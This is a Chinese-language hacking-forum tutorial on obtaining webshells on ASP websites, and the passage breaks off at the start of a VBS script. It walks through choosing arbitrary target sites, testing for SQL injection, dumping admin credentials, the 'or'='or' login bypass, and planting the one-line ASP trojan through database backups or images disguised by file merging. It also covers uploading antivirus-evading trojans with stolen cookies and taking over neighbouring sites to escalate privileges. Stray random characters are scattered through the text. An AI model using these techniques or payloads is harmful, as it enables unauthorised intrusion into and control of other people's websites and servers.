【文章首发】 【3.A.S.T】网络安全技术团队 , u1 z- S1 j5 g8 q5 @【文章作者】 柔肠寸断 [3.A.S.T] / @$ b: n4 [ y% n& @- a* X9 i6 c) P/ h2 Q5 a7 C
通过几次成功的拿Webshell,发现自己有时也走了一些弯路,为了避免其他的朋友再在困惑中迷失方向,现在我将自己的一些经验写出来,希望对一些想学拿Webshell的朋友有一定的帮助。 : f$ g. ~* F1 Q, o5 g 1 u, X' Y, W/ I6 G" |: G+ W
首先我们要确定我们要检测的网站,可以是自己定下的某个网站,也可以是自己通过Google或者Baidu搜索得到的,遇到ASP这样的动态网站入侵成功率是最佳的。不详细说了,这一步就是选定目标网站。3 W' Q1 s, I2 F' G ?2 b
1 H ?6 s6 u( q& c8 ^4 ~% } 然后我们开始对网站进行检测。仔细的看看这个网站的超链接尾部有没有形如"ID=XXX(XXX代表数字)"的字符;如果有的话,我们可以对其进行如下的基本检测:打开这个链接,在地址栏ID=XXX的后面加上“and 1=2”(不要加引号), 点击提交后打开一个新的页面,在这个页面中如果显示不正常,或者显示什么错误的话,就说明存在注入漏洞了!我们就可以尝试对其进行注入了!2 v6 F; X( w8 M, F" ^, \8 X
) ^7 v' ^+ u6 O
在这里我们注意下,一般有2种数据库的类型:ACCESS、MSSQL2种数据库。我们先来说一下关于ACCESS数据库的解破。 ' c9 ~+ S7 W: j$ {" p# H. c) D在这里我们可以使用工具猜测数据库的内容(也可以手工猜测,但是太繁琐了),这里我们就使用明小子工具里的“SQL注入猜解”。填上我们刚才手工检测到的注入点,点击检测后程序开始检测是否存在注入点,开始我们已经手工检测过了,所以肯定是存在的了。然后就可以点击“猜解表名”,将数据库的表名给猜出 $ a9 G/ R7 H$ a) [. J% F来,有了程序,我们进行这些操作将会很简单;很快就会猜出所有的表名,接着选定我们要猜解的表名,用程序猜解该表名的列名,接着就可以再猜解记录的内容。一般防范措施不当的网站就会被猜出用户名密码;接着我们用程序自带的功能猜解后台地址,猜到之后,用得到的用户名密码进行登陆;一般防范措施差的网站甚至可以直接用万能的用户名密码’or’=’or’进行登陆。7 l! f5 D2 b& Z4 p5 y. K( H4 i
$ l. b7 G2 A; f* ^2 X- B 登陆成功之后,我们进入后台,进入后台才是一切入侵的基本条件。正式开始我们的入侵。 / w3 Z- f1 |+ R9 y! U- M1 u7 O2 R& U
首先看下有没有数据库备份的功能,如果有,我们来看看怎么得到Webshell。4 q0 B9 F- l" F: l3 l! }, I
1 P9 u+ ?# J) }9 K$ n
1、用一句话木马。通过各种方法,把<%execute request("value")%>这句话写入到数据库,再把写入这句话的数据库通过备份变成后缀为.asp的文件,当然要注意备份后的文件地址,然后进行访问,如果显示的是乱码,那么就恭喜你了,基本上就成功了!在再本地用一个一句话木马的客户端进行连接,就连接出现乱码的那个页面地址,连成功之后,你就可以看见熟悉的WebShell了!5 I& R0 @7 }; P- C( f$ G, y& ]5 K
& D( G% E, j) b% A8 a- \
2、用图片的上传功能。我们把ASP木马的后缀改成图片的后缀名,如GIF、JPG、BMP之类的,进行上传,上传成功之后,会提示文件上传成功,并且会给出文件的位置,如’UploadFiles/20080501012.gif’;但是,有的可能并不会提示,我们就要用WSockExpert对上传的过程进行抓包,抓到上传的路径;然后,我们通过数据库备份的功能,把gif等图片的格式变成ASP格式的数据库,进行访问,这时候我们通常就可以看见我们的WebShell了!但是目前有的网站上传功能会对这个进行检测,如果备份的文件检查不出属于数据库,则会提示“不合法的数据库”,这时候我们该怎么办呢?既然要检测是否有数据库特征,那我们把图片加入数据库特征不就可以了?对!事实就是如此,我们可以通过DOS的COPY命令给图片加上数据库特征,命令如下 “COPY 木马图片.gif+数据库文件.mdb 合成后的文件.gif”这样,我们合成后的图片就会带有数据库的特征了! 5 M( O5 }2 M, F$ M% E3 ^) g ( W! T& ?1 C0 G$ M% |
但是,有的网站后台我们找不到有数据库备份的地方,上面的方法就不管用了,这时候我们该怎么办呢?别急,事情总是有解决的办法的。找到一个有上传功能的页面,随便上传个什么东西,用WSockExpert对上传过程进行抓包,一般我们点击上传之后,在WSockExpert抓到的包中就会找到上传的ASP页面和相应的COOKIES了,当然我们在这里一定要先进入后台,用管理员的账号进行上传,得到的COOKIES就是管理员的了,这个在后面可以用的上。我们再用明小子的上传功能,选择上传的页面,就是我们抓包得到的页面,填上得到的COOKIES,选择我们要上传的木马(要免杀哦!不然传上去就给服务器删了),点击上传,当程序提示成功时,我们就可以对自己的WebShell进行访问了!如果失败,就换换别的上传的类型试试看。0 H/ \6 J" \' D+ b
1 Q# ?/ O5 e i. r6 c% \( b 有的时候我们可能真的一点拿不到某个网站的WebShell,我们这个时候就可以采用旁注的方法对属于同一台服务器的网站拿WebShell,然后提权拿到整台服务器,再对我们的目标网站进行入侵就可以了。 . r6 w: N; }3 y3 F. J: @以上是对ACCESS数据库的分析和获取webshell,下面,我对MSSQL数据库来进行下分析。过去我也是先学ACCESS数据库的解破,等到学MSSQL数据库的时候就发现自己还是有很多的不懂,因此又走了不少的弯路,现在把MSSQL数据库拿webshell的方法总结下,希望对才接触webshell的朋友们有所帮助。: o9 l7 |( f8 q, x3 u' W. ]% C# `
首先我们先检测下该MSSQL数据库的用户权限,一般都是有2种,一种是SA(system admin)权限,这个权限是很大的;还有一种就是DB_OWNER权限,这个权限赋给用户一些对数据库的修改、删除、新增数据表,执行大部分存储过程的权限。但是涉及到一些系统敏感操作的权限不具备,这也是它与SA权限的唯一区别。 8 i: Z- r8 `- @ + x: J( G ?: M! \ 我们首先来寻找网站所在服务器上的目录,可以使用啊D来查看目录,来寻找网站的目录,个人的经验是在D、E、F盘的地方。( K' Y; [( x0 f9 ~; n
) K. I( ~3 G3 Z$ r* D k 但是有的时候找不到怎么办呢?我们只要上传个vbs文件就可以了,把下面的文件保存为lookweb.vbs:
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then